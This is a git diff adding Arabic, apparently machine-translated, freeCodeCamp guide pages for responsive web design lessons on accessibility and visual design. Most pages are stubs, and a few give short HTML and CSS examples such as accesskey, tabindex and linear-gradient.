+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/make-elements-only-visible-to-a-screen-reader-by-using-custom-css/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/make-elements-only-visible-to-a-screen-reader-by-using-custom-css/index.md
new file mode 100644
index 0000000000..b17e787e50
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/make-elements-only-visible-to-a-screen-reader-by-using-custom-css/index.md
@@ -0,0 +1,9 @@
+---
+title: Make Elements Only Visible to a Screen Reader by Using Custom CSS
+localeTitle: جعل العناصر مرئية فقط إلى قارئ الشاشة عن طريق استخدام CSS مخصص
+---
+## جعل العناصر مرئية فقط إلى قارئ الشاشة عن طريق استخدام CSS مخصص
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/make-elements-only-visible-to-a-screen-reader-by-using-custom-css/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/make-links-navigatable-with-html-access-keys/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/make-links-navigatable-with-html-access-keys/index.md
new file mode 100644
index 0000000000..84c8d7b7fb
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/make-links-navigatable-with-html-access-keys/index.md
@@ -0,0 +1,15 @@
+---
+title: Make Links Navigatable with HTML Access Keys
+localeTitle: جعل الروابط نافيجيتابل مع مفاتيح الوصول إلى HTML
+---
+## جعل الروابط نافيجيتابل مع مفاتيح الوصول إلى HTML
+
+اتباع التعليمات: إضافة سمة مفتاح الوصول إلى كلا الارتباطين وتعيين أول واحد إلى "g" (لـ Garfield) والثاني إلى "c" (لـ Chuck Norris). تصبح السطور 8 و 16:
+
+ `<h2><a id="first" accesskey="g" href="">The Garfield Files: Lasagna as Training Fuel?</a></h2> 
+` 
+
+ `<h2><a id="second" accesskey="c" href="">Is Chuck Norris a Cat Person?</a></h2> 
+` 
+
+وبهذه الطريقة ، يمكن أن تحتوي الروابط الموجودة حول عبارتي مقالة المدونة على اختصارات لوحة المفاتيح حتى يتمكن مستخدمو موقعه من الانتقال سريعًا إلى القصة الكاملة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/make-screen-reader-navigation-easier-with-the-footer-landmark/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/make-screen-reader-navigation-easier-with-the-footer-landmark/index.md
new file mode 100644
index 0000000000..4ef84d8263
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/make-screen-reader-navigation-easier-with-the-footer-landmark/index.md
@@ -0,0 +1,9 @@
+---
+title: Make Screen Reader Navigation Easier with the footer Landmark
+localeTitle: جعل قارئ شاشة الملاحة أسهل مع تذييل لاندمارك
+---
+## جعل قارئ شاشة الملاحة أسهل مع تذييل لاندمارك
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/make-screen-reader-navigation-easier-with-the-footer-landmark/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/make-screen-reader-navigation-easier-with-the-header-landmark/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/make-screen-reader-navigation-easier-with-the-header-landmark/index.md
new file mode 100644
index 0000000000..de979eadca
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/make-screen-reader-navigation-easier-with-the-header-landmark/index.md
@@ -0,0 +1,9 @@
+---
+title: Make Screen Reader Navigation Easier with the header Landmark
+localeTitle: جعل قارئ شاشة الملاحة أسهل مع رأس معلم
+---
+## جعل قارئ شاشة الملاحة أسهل مع رأس معلم
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/make-screen-reader-navigation-easier-with-the-header-landmark/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/make-screen-reader-navigation-easier-with-the-nav-landmark/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/make-screen-reader-navigation-easier-with-the-nav-landmark/index.md
new file mode 100644
index 0000000000..7d4c28a6fc
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/make-screen-reader-navigation-easier-with-the-nav-landmark/index.md
@@ -0,0 +1,9 @@
+---
+title: Make Screen Reader Navigation Easier with the nav Landmark
+localeTitle: جعل قارئ شاشة الملاحة أسهل مع الملاحة
+---
+## جعل قارئ شاشة الملاحة أسهل مع الملاحة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/make-screen-reader-navigation-easier-with-the-nav-landmark/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/standardize-times-with-the-html5-datetime-attribute/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/standardize-times-with-the-html5-datetime-attribute/index.md
new file mode 100644
index 0000000000..9e4c107b96
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/standardize-times-with-the-html5-datetime-attribute/index.md
@@ -0,0 +1,9 @@
+---
+title: Standardize Times with the HTML5 datetime Attribute
+localeTitle: توحيد الأوقات باستخدام سمة datetime HTML5
+---
+## توحيد الأوقات باستخدام سمة datetime HTML5
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/standardize-times-with-the-html5-datetime-attribute/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/use-headings-to-show-hierarchical-relationships-of-content/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/use-headings-to-show-hierarchical-relationships-of-content/index.md
new file mode 100644
index 0000000000..3c0c32427c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/use-headings-to-show-hierarchical-relationships-of-content/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Headings to Show Hierarchical Relationships of Content
+localeTitle: استخدم العناوين لإظهار العلاقات الهرمية للمحتوى
+---
+## استخدم العناوين لإظهار العلاقات الهرمية للمحتوى
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/use-headings-to-show-hierarchical-relationships-of-content/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/use-tabindex-to-add-keyboard-focus-to-an-element/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/use-tabindex-to-add-keyboard-focus-to-an-element/index.md
new file mode 100644
index 0000000000..8344bbf150
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/use-tabindex-to-add-keyboard-focus-to-an-element/index.md
@@ -0,0 +1,20 @@
+---
+title: Use tabindex to Add Keyboard Focus to an Element
+localeTitle: استخدم tabindex إلى إضافة Keyboard Keyboard إلى عنصر
+---
+## استخدم tabindex إلى إضافة Keyboard Keyboard إلى عنصر
+
+اتباع التعليمات:
+
+إضافة سمة tabindex إلى علامة p وتعيين قيمتها إلى "0".
+
+الخط 16 \`\` \`المغلق
+
+التعليمات: املأ جميع معلوماتك ثم انقر فوق **إرسال**
+
+ `becomes: 
+ ```css 
+    <p tabindex="0">Instructions: Fill in ALL your information then click <b>Submit</b></p> 
+` 
+
+وبهذه الطريقة ، ستتلقى تركيزًا على لوحة المفاتيح عند قيام المستخدم بالتبويب من خلال صفحة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/use-tabindex-to-specify-the-order-of-keyboard-focus-for-several-elements/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/use-tabindex-to-specify-the-order-of-keyboard-focus-for-several-elements/index.md
new file mode 100644
index 0000000000..31c11dbba1
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/use-tabindex-to-specify-the-order-of-keyboard-focus-for-several-elements/index.md
@@ -0,0 +1,20 @@
+---
+title: Use tabindex to Specify the Order of Keyboard Focus for Several Elements
+localeTitle: استخدم tabindex لتحديد ترتيب التركيز على لوحة المفاتيح للعديد من العناصر
+---
+## استخدم tabindex لتحديد ترتيب التركيز على لوحة المفاتيح للعديد من العناصر
+
+اتباع التعليمات:
+
+إضافة سمة tabindex مضبوطة على "1" إلى إدخال البحث ، وعلامة tabindex مضبوطة على "2" إلى إدخال الإدخال.
+
+السطور 16 و 17 \`\` \`المغلق  
+
+ `become: 
+ 
+ ```css 
+    <input type="search" name="search" id="search"> 
+    <input type="submit" name="submit" value="Submit" id="submit"> 
+` 
+
+وبهذه الطريقة ، يكون إدخال البحث وإرسال عناصر التحكم في نموذج الإدخال أول عنصرين في ترتيب الجدولة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/wrap-content-in-the-article-element/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/wrap-content-in-the-article-element/index.md
new file mode 100644
index 0000000000..5e4fabd4e2
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/wrap-content-in-the-article-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Wrap Content in the article Element
+localeTitle: التفاف المحتوى في المادة عنصر
+---
+## التفاف المحتوى في المادة عنصر
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/wrap-content-in-the-article-element/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/wrap-radio-buttons-in-a-fieldset-element-for-better-accessibility/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/wrap-radio-buttons-in-a-fieldset-element-for-better-accessibility/index.md
new file mode 100644
index 0000000000..f64f66efb5
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-accessibility/wrap-radio-buttons-in-a-fieldset-element-for-better-accessibility/index.md
@@ -0,0 +1,9 @@
+---
+title: Wrap Radio Buttons in a fieldset Element for Better Accessibility
+localeTitle: التفاف أزرار الراديو في fieldset عنصر من أجل سهولة الوصول
+---
+## التفاف أزرار الراديو في fieldset عنصر من أجل سهولة الوصول
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-accessibility/wrap-radio-buttons-in-a-fieldset-element-for-better-accessibility/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/add-a-box-shadow-to-a-card-like-element/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/add-a-box-shadow-to-a-card-like-element/index.md
new file mode 100644
index 0000000000..d428c89c17
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/add-a-box-shadow-to-a-card-like-element/index.md
@@ -0,0 +1,11 @@
+---
+title: Add a box-shadow to a Card-like Element
+localeTitle: أضف box box إلى عنصر يشبه Card
+---
+## أضف box box إلى عنصر يشبه Card
+
+تقوم خاصية box-shadow بإرفاق ظلال أو أكثر لعنصر.
+
+h-offset: مطلوب. الإزاحة الأفقية للظل. تضع القيمة الموجبة الظل على الجانب الأيمن من المربع ، حيث تضع القيمة السالبة الظل على الجانب الأيسر من المربع.
+
+v إزاحة: مطلوب. الإزاحة الرأسية للظل. تضع القيمة الموجبة الظل أسفل المربع ، وتضع القيمة السالبة الظل فوق المربع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/adjust-the-background-color-property-of-text/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/adjust-the-background-color-property-of-text/index.md
new file mode 100644
index 0000000000..504849744c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/adjust-the-background-color-property-of-text/index.md
@@ -0,0 +1,9 @@
+---
+title: Adjust the background-color Property of Text
+localeTitle: ضبط لون الخلفية خاصية النص
+---
+## ضبط لون الخلفية خاصية النص
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/adjust-the-background-color-property-of-text/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/adjust-the-color-of-various-elements-to-complementary-colors/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/adjust-the-color-of-various-elements-to-complementary-colors/index.md
new file mode 100644
index 0000000000..b5ebbda163
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/adjust-the-color-of-various-elements-to-complementary-colors/index.md
@@ -0,0 +1,9 @@
+---
+title: Adjust the Color of Various Elements to Complementary Colors
+localeTitle: اضبط لون العناصر المختلفة على الألوان التكميلية
+---
+## اضبط لون العناصر المختلفة على الألوان التكميلية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/adjust-the-color-of-various-elements-to-complementary-colors/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/adjust-the-height-of-an-element-using-the-height-property/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/adjust-the-height-of-an-element-using-the-height-property/index.md
new file mode 100644
index 0000000000..588e091da8
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/adjust-the-height-of-an-element-using-the-height-property/index.md
@@ -0,0 +1,9 @@
+---
+title: Adjust the Height of an Element Using the height Property
+localeTitle: ضبط ارتفاع عنصر باستخدام خاصية الارتفاع
+---
+## ضبط ارتفاع عنصر باستخدام خاصية الارتفاع
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/adjust-the-height-of-an-element-using-the-height-property/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/adjust-the-hover-state-of-an-anchor-tag/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/adjust-the-hover-state-of-an-anchor-tag/index.md
new file mode 100644
index 0000000000..0cf95a2ddd
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/adjust-the-hover-state-of-an-anchor-tag/index.md
@@ -0,0 +1,9 @@
+---
+title: Adjust the Hover State of an Anchor Tag
+localeTitle: ضبط حالة التحويم لعلامة الارتساء
+---
+## ضبط حالة التحويم لعلامة الارتساء
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/adjust-the-hover-state-of-an-anchor-tag/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/adjust-the-hue-of-a-color/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/adjust-the-hue-of-a-color/index.md
new file mode 100644
index 0000000000..922e270adf
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/adjust-the-hue-of-a-color/index.md
@@ -0,0 +1,9 @@
+---
+title: Adjust the Hue of a Color
+localeTitle: اضبط هوى اللون
+---
+## اضبط هوى اللون
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/adjust-the-hue-of-a-color/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/adjust-the-size-of-a-header-versus-a-paragraph-tag/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/adjust-the-size-of-a-header-versus-a-paragraph-tag/index.md
new file mode 100644
index 0000000000..21a23ffbb3
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/adjust-the-size-of-a-header-versus-a-paragraph-tag/index.md
@@ -0,0 +1,9 @@
+---
+title: Adjust the Size of a Header Versus a Paragraph Tag
+localeTitle: ضبط حجم رأس مقابل علامة فقرة
+---
+## ضبط حجم رأس مقابل علامة فقرة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/adjust-the-size-of-a-header-versus-a-paragraph-tag/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/adjust-the-tone-of-a-color/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/adjust-the-tone-of-a-color/index.md
new file mode 100644
index 0000000000..54c7a6aaeb
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/adjust-the-tone-of-a-color/index.md
@@ -0,0 +1,9 @@
+---
+title: Adjust the Tone of a Color
+localeTitle: اضبط نغمة اللون
+---
+## اضبط نغمة اللون
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/adjust-the-tone-of-a-color/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/adjust-the-width-of-an-element-using-the-width-property/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/adjust-the-width-of-an-element-using-the-width-property/index.md
new file mode 100644
index 0000000000..466e91c576
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/adjust-the-width-of-an-element-using-the-width-property/index.md
@@ -0,0 +1,9 @@
+---
+title: Adjust the Width of an Element Using the width Property
+localeTitle: ضبط عرض عنصر باستخدام خاصية العرض
+---
+## ضبط عرض عنصر باستخدام خاصية العرض
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/adjust-the-width-of-an-element-using-the-width-property/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/animate-elements-at-variable-rates/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/animate-elements-at-variable-rates/index.md
new file mode 100644
index 0000000000..1591ccdd03
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/animate-elements-at-variable-rates/index.md
@@ -0,0 +1,9 @@
+---
+title: Animate Elements at Variable Rates
+localeTitle: عناصر متحركة بمعدلات متغيرة
+---
+## عناصر متحركة بمعدلات متغيرة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/animate-elements-at-variable-rates/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/animate-elements-continually-using-an-infinite-animation-count/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/animate-elements-continually-using-an-infinite-animation-count/index.md
new file mode 100644
index 0000000000..20c1ae0bdb
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/animate-elements-continually-using-an-infinite-animation-count/index.md
@@ -0,0 +1,9 @@
+---
+title: Animate Elements Continually Using an Infinite Animation Count
+localeTitle: تنشيط عناصر باستمرار باستخدام عدد الرسوم المتحركة اللانهائي
+---
+## تنشيط عناصر باستمرار باستخدام عدد الرسوم المتحركة اللانهائي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/animate-elements-continually-using-an-infinite-animation-count/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/animate-multiple-elements-at-variable-rates/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/animate-multiple-elements-at-variable-rates/index.md
new file mode 100644
index 0000000000..1b78625ed1
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/animate-multiple-elements-at-variable-rates/index.md
@@ -0,0 +1,9 @@
+---
+title: Animate Multiple Elements at Variable Rates
+localeTitle: تحريك عناصر متعددة بأسعار متغيرة
+---
+## تحريك عناصر متعددة بأسعار متغيرة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/animate-multiple-elements-at-variable-rates/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/center-an-element-horizontally-using-the-margin-property/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/center-an-element-horizontally-using-the-margin-property/index.md
new file mode 100644
index 0000000000..fd9998bd7d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/center-an-element-horizontally-using-the-margin-property/index.md
@@ -0,0 +1,9 @@
+---
+title: Center an Element Horizontally Using the margin Property
+localeTitle: توسيط عنصر أفقيًا باستخدام خاصية الهامش
+---
+## توسيط عنصر أفقيًا باستخدام خاصية الهامش
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/center-an-element-horizontally-using-the-margin-property/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/change-an-elements-relative-position/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/change-an-elements-relative-position/index.md
new file mode 100644
index 0000000000..345be9a5f9
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/change-an-elements-relative-position/index.md
@@ -0,0 +1,9 @@
+---
+title: Change an Element's Relative Position
+localeTitle: تغيير موضع نسبي للعنصر
+---
+## تغيير موضع نسبي للعنصر
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/change-an-elements-relative-position/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/change-animation-timing-with-keywords/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/change-animation-timing-with-keywords/index.md
new file mode 100644
index 0000000000..adbad7d3a4
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/change-animation-timing-with-keywords/index.md
@@ -0,0 +1,9 @@
+---
+title: Change Animation Timing with Keywords
+localeTitle: تغيير الرسوم المتحركة التوقيت مع الكلمات الرئيسية
+---
+## تغيير الرسوم المتحركة التوقيت مع الكلمات الرئيسية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/change-animation-timing-with-keywords/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/change-the-position-of-overlapping-elements-with-the-z-index-property/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/change-the-position-of-overlapping-elements-with-the-z-index-property/index.md
new file mode 100644
index 0000000000..75fab693b6
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/change-the-position-of-overlapping-elements-with-the-z-index-property/index.md
@@ -0,0 +1,9 @@
+---
+title: Change the Position of Overlapping Elements with the z-index Property
+localeTitle: تغيير موضع تراكب العناصر مع خاصية فهرس z
+---
+## تغيير موضع تراكب العناصر مع خاصية فهرس z
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/change-the-position-of-overlapping-elements-with-the-z-index-property/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/create-a-gradual-css-linear-gradient/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/create-a-gradual-css-linear-gradient/index.md
new file mode 100644
index 0000000000..d8bbeab65e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/create-a-gradual-css-linear-gradient/index.md
@@ -0,0 +1,20 @@
+ ---
+ title: Create a Gradual CSS Linear Gradient
+ localeTitle: إنشاء تدرج خطي متدرج CSS
+---
+\## إنشاء تدرج خطي متدرج CSS
+
+لإنشاء تدرج خطي ، يجب تحديد نقطتي توقف للألوان على الأقل. توقف اللون هي الألوان التي تريد تقديم انتقالات سلسة بين. يمكنك أيضًا ضبط نقطة بداية واتجاه (أو زاوية) مع تأثير التدرج.
+
+الصيغة هي دائما:
+
+ `background-image: linear-gradient(angle, color-stop1, color-stop2); 
+` 
+
+يمكن استخدام الألوان في تنسيقات hex () و rgb (). جرب قليلا وسوف تفهم كم هو سهل وجميل استخدامه.
+
+## مصادر
+
+[هناك معلومات شاملة حول هذا الموضوع متوفرة على هذا الرابط.](https://www.w3schools.com/css/css3_gradients.asp)
+
+[قد ترغب أيضًا في مراجعة فيديو Youtube هذا بواسطة The Net Ninja.](https://www.youtube.com/watch?v=wTk4Wuckd0U)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/create-a-graphic-using-css/index.md b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/create-a-graphic-using-css/index.md
new file mode 100644
index 0000000000..a11d17c7ec
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/applied-visual-design/create-a-graphic-using-css/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Graphic Using CSS
+localeTitle: قم بإنشاء رسم باستخدام CSS
+---
+## قم بإنشاء رسم باستخدام CSS
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/create-a-graphic-using-css/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
